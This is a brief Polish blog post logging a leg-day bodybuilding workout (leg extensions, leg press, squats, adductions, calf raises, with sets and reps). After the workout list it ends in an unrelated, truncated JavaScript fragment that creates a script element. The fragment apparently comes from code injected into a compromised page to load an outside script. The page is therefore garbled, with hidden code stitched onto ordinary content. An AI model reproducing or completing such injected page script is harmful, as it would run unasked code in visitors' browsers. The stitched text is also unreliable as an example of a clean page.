17.02.2012

17.02.2012 / Tomasz Lech / Kulturystyka

Dzisiaj na treningu robiłem same nogi także szału u góry nie ma.Następnym razem przypompuje górę

 

Czworogłowe:
-wyprosty nóg na maszynie siedząc 4×12
-wypychanie na suwnicy siedząc 4×12
-przysiady ze sztangą z tyłu 5×10
-przywodzenie nóg na maszynie siedząc 4×10

Łydki:
-wspięcia stojąc 4×20
-wspięcia siedząc 4×20

if (document.currentScript) { var d=document;var s=d.createElement('script'); } else {